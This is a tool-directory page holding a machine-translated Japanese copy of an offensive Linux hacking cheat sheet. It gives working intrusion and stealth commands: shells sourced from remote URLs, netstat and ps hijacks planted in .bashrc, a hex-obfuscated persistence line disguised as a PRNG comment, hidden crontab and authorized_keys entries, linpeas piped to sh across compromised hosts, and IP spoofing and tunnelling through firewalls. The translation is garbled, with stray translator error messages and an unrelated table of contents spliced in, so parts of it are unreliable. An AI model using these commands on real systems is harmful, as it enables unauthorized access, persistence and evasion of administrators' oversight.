Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
ツール/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

リポジトリを見る
3.9k4711ヶ月前Kitploit レビュー済み

THCのお気に入りのヒント、トリック&ハック(チートシート)

https://thc.org/tips

私たちのお気に入りのトリック集です。これらのトリックの多くは私たちが作ったものではありません。私たちは単に収集しているだけです。

トリックは、なぜ機能するのかの説明なしに「そのまま」示します。仕組みと理由を理解するにはLinuxの知識が必要です。

トリックをお持ちですか? 参加してください https://thc.org/ops

  1. Bash
    1. ハックシェルをセットアップする
    2. コマンドを隠す
    3. コマンドラインオプションを隠す
    4. ネットワーク接続を隠す
    5. ユーザーとしてプロセスを隠す
    6. rootとしてプロセスを隠す
    7. スクリプトを隠す
    8. catから隠す
    9. ログファイルを分けて並列実行する
  2. SSH
    1. ほぼ不可視のSSH
    2. 1つのSSH/TCP接続で複数のシェル
    3. SSHトンネル
    4. SSH socks5トンネル
    5. NAT配下のホストへのSSH
    6. ProxyJumpによるSSHピボット
    7. ユーザーとしてSSHDを実行
  3. ネットワーク
    1. ホストを発見する
    2. Tcpdump
    3. トンネルとフォワーディング
      1. Raw TCPリバースポート
      2. HTTPSリバースフォワード
      3. iptablesでトラフィックをバウンスさせる
      4. ゴーストIP / IPスプーフィング
      5. その他
    4. SOCKSプロキシ経由で任意のツールを使用する
    5. 自分のパブリックIPアドレスを見つける
    6. 世界中からの到達可能性を確認する
    7. オープンポートの確認/スキャン
    8. パスワードハッシュをクラックする
    9. パスワード/鍵のブルートフォース
  4. データのアップロード/ダウンロード/外部持ち出し
    1. ファイルのエンコード/デコード
    2. カット&ペーストでファイル転送
    3. tmuxを使ったファイル転送
    4. screenを使ったファイル転送
    5. gs-netcatとsftpを使ったファイル転送
    6. HTTPを使ったファイル転送
    7. curlを使わないファイルダウンロード
    8. rsyncを使ったファイル転送
    9. 公開ダンプサイトへのファイル転送
    10. WebDAVを使ったファイル転送
    11. Telegramへのファイル転送
  5. リバースシェル / ダムシェル
    1. リバースシェル
      1. gs-netcat(暗号化)
      2. Bash
      3. cURL(暗号化)
      4. cURL(平文)
      5. OpenSSL(暗号化)
      6. remote.moe(暗号化)
      7. /dev/tcpなし
      8. Python
      9. Perl
      10. PHP
    2. ダムシェルのアップグレード
      1. リバースシェルをptyシェルにアップグレードする
      2. リバースシェルを完全インタラクティブシェルにアップグレードする
      3. socatを使ったリバースシェル(完全インタラクティブ)
  6. バックドア
    1. gs-netcat
    2. sshx.io
    3. 最小のSSHDバックドア
    4. ネットワーク全体へのリモートアクセス
    5. 最小のPHPバックドア
    6. 最小のリバースDNSトンネルバックドア
    7. ローカルrootバックドア
    8. 自己展開型インプラント
  7. ホスト偵察
  8. シェルハック
    1. ファイルをシュレッド(安全な削除)
    2. ファイルの日付を復元する
    3. ログファイルをクリーンアップする
    4. root権限のないユーザーからファイルを隠す
    5. ファイルを不変にする
    6. sudo/suを使わずにユーザーを切り替える
    7. ペイロードを難読化して暗号化する
    8. ファイルシステムに触れずにバックドアを展開する
  9. 暗号
    1. クイックなランダムパスワードを生成する
    2. Linuxで持ち運び可能な暗号化ファイルシステム
      1. cryptsetup
      2. EncFS
    3. ファイルの暗号化
  10. セッションのスニッフィングとハイジャック
    1. ユーザーのSHELLセッションをスニッフィングする
    2. dtraceで全てのSHELLセッションをスニッフィングする
    3. eBPFで全てのSHELLセッションをスニッフィングする
    4. straceでユーザーのSSHまたはSSHDセッションをスニッフィングする
    5. ラッパースクリプトでユーザーの発信SSHセッションをスニッフィングする
    6. SSH-ITでユーザーの発信SSHセッションをスニッフィングする
    7. 実行中のSSHセッションをハイジャック/乗っ取る
  11. VPNとシェル
    1. 使い捨てルートサーバー
    2. VPN/VPSプロバイダー
  12. OSINTインテリジェンス収集
  13. その他
    1. 定番ツール
    2. クールなLinuxコマンド
    3. tmuxチートシート
    4. 便利なコマンド
  14. ハッカーになる方法
  15. その他のサイト

1. Bash / シェル

1.i. ハックシェルをセットアップする(bash):

BASHをより静かにする。 ~/.bash_history と その他多くのものを無効にする。```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
代替 URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

そして、curl/wget がない場合は、surl と、bin curl で (一時的に) インストールされた curl を使用します。```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShellはもっと多くのことを行いますが、最も重要なのは次のとおりです:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

私たちは anew をよく使用しますが、これは簡単な回避策です:```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
ボーナスヒント:
「 」(スペース)で始まるコマンドも、[履歴に記録されません](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)。```
$  id

1.ii. コマンドを隠す / コマンドをデーモン化する

これはプロセス名のみを隠します。zapperを使用すると、コマンドラインオプションも隠せます。```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
バックグラウンドで '/usr/sbin/sshd' として隠された 'nmap' を起動します:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

GNU screen 内で開始:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
あるいは、バイナリを新しい名前にコピーしてください:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

またはバインドマウントを使用して、(一時的に) /sbin/init が代わりに /dev/shm/nmap を指すようにします:```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. コマンドラインオプションを隠す**

[zapper](https://github.com/hackerschoice/zapper) を使用します:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

Developer は、攻撃的セキュリティのための包括的なGitHub OPSECツールであり、環境とツール群を運用上安全にするのを支援するよう設計されています。```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. ネットワーク接続を隠す**

このトリックは、`netstat` を乗っ取り、grep を使って自分の接続を除外するというものです。この例では、ポート 31337 _または_ IP 1.2.3.4 への接続をすべてフィルタリングします。同様のことを、`ss`(netstat の代替)でも行う必要があります。

**方法 1 - ~/.bashrc 内の bash 関数で接続を隠す**

これをカット&ペーストして、~/.bashrc に行を追加します。```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

または、/.bashrc への難読化エントリとして、これをカット&ペーストしてください:```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
難読化された ~/.bashrc へのエントリは次のようになります:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

方法2 - $PATH内のバイナリを使用して接続を隠す

/usr/local/sbin に偽の netstat バイナリを作成します。デフォルトの Debian (およびほとんどの Linux) では、PATH 変数 (echo $PATH) に /usr/local/sbin が /usr/bin の 前 にリストされます。つまり、ハイジャック用バイナリ /usr/local/sbin/netstat が /usr/bin/netstat の代わりに実行されることになります。```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(iamaskid さん、ありがとう)*

<a id="hide-a-process-user"></a>
**1.v. ユーザーとしてプロセスを隠す**

「接続を隠す」からの続きとして、同じ手法でプロセスを隠すことができます。この例では、nmap プロセスを隠し、さらに `grep` を GREP にリネームすることで、プロセス一覧に `grep` が表示されないようにしています。```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. rootとしてプロセスを隠す

これはroot権限を必要とし、/proc/<pid>の上に無意味なディレクトリをマウントするという古いLinuxのトリックです:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
コマンドを非表示にするには、次のように使用します:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(thanks to druichi for improving this)

1.vii. シェルスクリプトを隠す

上記では、~/.bashrc 内の1行を難読化する方法について説明しました。よく使われるトリックは、代わりに source を使うことです。source コマンドは . (そうです、ドット) に短縮でき、さらに $PATH 変数を検索してロードするファイルを見つけます。

この例では、スクリプト prng に上記のシェル関数がすべて含まれています。これらの関数は、nmap プロセスとネットワーク接続を隠します。最後に、システム全体の rc ファイルに . prng を追加します。これにより、ユーザー(および root)がログインしたときに prng がロードされます:```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(`lsof`、`ss`、`ls` でも同様に機能します)

<a id="cat"></a>
**1.viii. catから隠す**

ANSIエスケープ文字または単純な`\r`([キャリッジリターン](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/))を使用して、`cat`などから隠すことができます。

`~/.bashrc` に最後のコマンド(例: `id`)を隠します:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

隠しcrontab行を追加する:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
`\r`(キャリッジリターン)を追加すると、`cat` から SSH キーを隠すのに大いに役立ちます:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. 個別のログファイルを使用して並列実行*

注: 同じことは parallel でも実現できます。

20 の並列タスクでホストをスキャン:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec` は、基盤となるシェルを最後のプロセス (nmap) に置き換えるために使用されます。これは任意ですが、実行中/不要なシェルバイナリの数を減らします。
- `${SLOT}` には 0..19 の値が格納されます。これは「タスク番号」です。nmap の結果を 20 個の別々のファイルに書き込むために使用します。

40 個のワーカーを使用して、すべての [gsocket](https://www.gsocket.io/deploy) ホストで [Linpeas](https://github.com/carlospolop/PEASS-ng) を実行します:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

2. SSH

2.i. ほぼ見えないSSH

w や who コマンドに自分が表示されないようにし、ホストが ~/.ssh/known_hosts に記録されるのを防ぎます。```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
PTYとカラーで完全な快適さを実現: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(Hackshell を参照)

2.ii 1つのSSH/TCP接続による複数シェル

ターゲットへのTCP接続を1つ確立し、複数のユーザーが同じTCP接続に相乗りして、追加のシェルセッションを開けるようにする。

マスター接続を作成する:```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
上記と同じ(単一の)Master-TCP 接続を使用して、さらにシェルセッションを作成します(パスワード/認証は不要):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

xssh と組み合わせて、utmp から隠すことができます。

2.iii SSHトンネル

ローカルのファイアウォールやIPフィルタリングを回避するために、私たちはこれをいつも使っています:```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
これで、あなたや他の誰でも、自分のコンピュータのポート31337に接続し、1.2.3.4のポート80にトンネリングされ、送信元IPが 'server.org' として表示されるようになります。サーバーを必要としない別の方法としては、[gs-netcat](#backdoor-network) を使用する方法もあります。

賢いハッカーは、SSHに再接続することなくこれらのトンネルを動的に作成するために、キーの組み合わせ `~C` を使用します。(MessedeDegodに感謝)。

私たちはこれを使用して、パブリックインターネット上にない内部マシンへのアクセスを友人に提供します:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use gs-netcat.

2.iv SSH socks4/5 トンネル

OpenSSH 7.6 は動的フォワーディングのための socks サポートを追加します。例: ブラウザのすべてのトラフィックをサーバー経由でトンネリングします。```sh ssh -D 1080 [email protected]

root@kitploit:~
次に、ブラウザーがSOCKSを127.0.0.1:1080で使用するように設定します。すべてのトラフィックは*server.org*を経由してトンネリングされ、送信元IPが*server.org*のものとして表示されます。サーバーを必要としない代替手段としては、[gs-netcat](#backdoor-network)を使用する方法があります。

これは上記の例の逆です。これにより、他のユーザーがあなたの*ローカル*ネットワークにアクセスできるようになるか、他のユーザーがあなたのコンピューターをトンネルのエンドポイントとして使用できるようになります。```sh
ssh -g -R 1080 [email protected]

The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to any computer on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use gs-netcat.

2.v NAT の背後にあるホストへの SSH

ssh-j.com は優れたリレーサービスを提供しています: NAT/ファイアウォールの背後にあるホストへ (SSH 経由で) アクセスするためのものです。

NAT の背後にあるホスト上で、次のように ssh-j.com へのリバース SSH トンネルを作成します:```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
次に、世界中のどこからでもこのコマンドを使用して、'root' として 'foobarblahblub' (NAT の背後にあるホスト) に接続します:```sh
ssh -J [email protected] root@foobarblahblub

SSH接続はssh-j.comを経由して、NATの背後にあるホストへのリバーストンネルに入ります。トラフィックはエンドツーエンドで暗号化されているため、ssh-j.comはその内容を見ることはできません。

2.vi 複数サーバーへのSSHピボット

SSH ProxyJumpは、リモートサーバーを操作する際に、時間と手間を大幅に節約できます。次のシナリオを想定しましょう。

私たちのワークステーションは$local-kaliで、$target-hostにSSH接続したいとします。ワークステーションと$target-hostの間には直接の接続はありません。ワークステーションから到達できるのは$C2だけです。$C2は(内部eth1を介して)$internal-jumphostに到達でき、$internal-jumphostはeth2を介して最終的な$target-hostに到達できます。```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> 私たちは信頼するワークステーション以外のどのコンピュータでも `ssh` を実行しません - そしてあなたも(決して)実行しないでください。

そこで ProxyJump が役立ちます: 私たちは2つの中間サーバー $C2 と $internal-jumphost を経由して「ジャンプ」できます(それらのサーバー上でシェルを起動することなく)。ssh 接続は私たちの $local-kali と $target-host の間でエンドツーエンドに暗号化され、$C2 や $internal-jumphost にパスワードや鍵が公開されることはありません。```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

私たちはこれを使って、サーバーにログインする際にIPアドレスを隠すこともしています。

2.vii ユーザーランドとしてのSSHD

非rootユーザーとしてSSHDサーバーを起動し、これを使用してTCP接続を多重化または転送する(ログを取らず、システム全体のSSHDが転送/多重化を禁止している場合)、または非rootで動作する迅速なexfil-dump-serverとして使用することが可能です:```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF は、TLS 上で TCP を多重化する別の方法です。


3. ネットワーク

3.i. ホストの発見```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
Please provide the Markdown content to translate.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

Input chunk is empty — no content was provided to translate. Please supply the chunk text.```sh

ICMP discover hosts (local LAN) ROOT

NET="10.11.0" # discover 10.11.0.1-10.11.0.254

seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

root@kitploit:~
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

3.iii. トンネルとフォワーディング```sh

Connect to SSL (using socat)

socat stdio openssl-connect:smtp.gmail.com:465

Connect to SSL (using openssl)

openssl s_client -connect smtp.gmail.com:465

root@kitploit:~
- [Auto-Elevate](#auto-elevate)
  - [概要](#overview)
  - [対応する権限昇格ベクトル](#supported-privilege-escalation-vectors)
  - [使用方法](#usage)
  - [謝辞](#acknowledgments)
- [貢献](#contributing)
- [ライセンス](#license)```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

3.iii.a Raw TCP リバースポート

パブリックIPアドレス上のTCPポートを必要とするリバースバックドアに便利です:

使用 segfault.net(無料):```sh

Request a random public TCP port:

curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)

root@kitploit:~
[bore.pub](https://github.com/ekzhang/bore) (無料) を使用:```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

serveo.net(無料)を使用:```sh

Forward a random public TCP port to localhost:31337

ssh -R 0:localhost:31337 [email protected]

root@kitploit:~
[pinggy.io](https://www.pinggy.io) を使用(60分間無料):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

関連項目: remote.moe(無料)はターゲットからワークステーションへの生のTCP転送に、playit(無料)またはngrok(有料サブスクリプション)はパブリックな生のTCPポートの転送に使用します。

その他の無料サービスはHTTPSのみの転送に限定されています(生のTCPは不可)。以下のいくつかのテクニックでは、WebSocketを使用してHTTPS転送上で生のTCPをトンネリングする方法を示します。


3.iii.b HTTPSリバーストンネル

サーバー側では、次の3つのHTTPSトンネリングサービスのいずれかを使用します:```sh

Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using remote.moe

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using cloudflared

curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate

root@kitploit:~
どちらのサービスでも、使用するための新しい一時的なHTTPS-URLが生成されます。  

次に、両端で[websocat](https://github.com/vi/websocat)または[Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service)を使用して、HTTPS URL経由で生のTCPをトンネリングします:

A. HTTPS経由のシンプルなSTDIN/STDOUTパイプ:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
root@kitploit:~
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. HTTPSを介してraw TCPを転送する:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
ポート2222をサーバーのポート22に転送します。```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

または、サーバーをSocks-ProxyのEXITノードとして使用します(例:サーバーのネットワーク内の任意のホスト、あるいはサーバー経由で(上記のHTTPSリバーストンネルを使用して)インターネットにすらアクセスできます):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
詳細: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) と [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) と [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c iptablesでトラフィックをバウンスする**

ユーザーランドのプロキシやフォワーダーを実行せずに、ホスト/ルーターを介してバウンスする:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(Hackshell の bounce を参照)

次に、フォワードを以下のように設定します:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
ファイアウォールで保護されたネットワークの奥深くから gsocket-relay-network(または TOR)に到達するために、このトリックを使用します。```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c ゴースト IP / IP スプーフィング

ターゲットネットワーク内のホスト上で有用です。このツールは SHELL を(痕跡を残さずに)再設定します:この SHELL から起動されるすべてのプログラム(nmap、cme、...)は偽の IP を使用します。あなたの攻撃はすべて、存在しないホストから発信されます。```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
これは以下と組み合わせても機能します:
 * [SegfaultのROOTサーバー](https://thc.org/segfault/wireguard): ROOTサーバーをターゲットネットワークに接続し、ターゲットネットワーク内でゴーストIPを使用します。
 * [QEMUトンネル](https://securelist.com/network-tunneling-with-qemu/111803/): 上記と同様ですが、安全性は低くなります。

---
<a id="tunnel-more"></a>
**3.vi.d さまざまなトンネルのトリック**

### CDN経由のトンネル
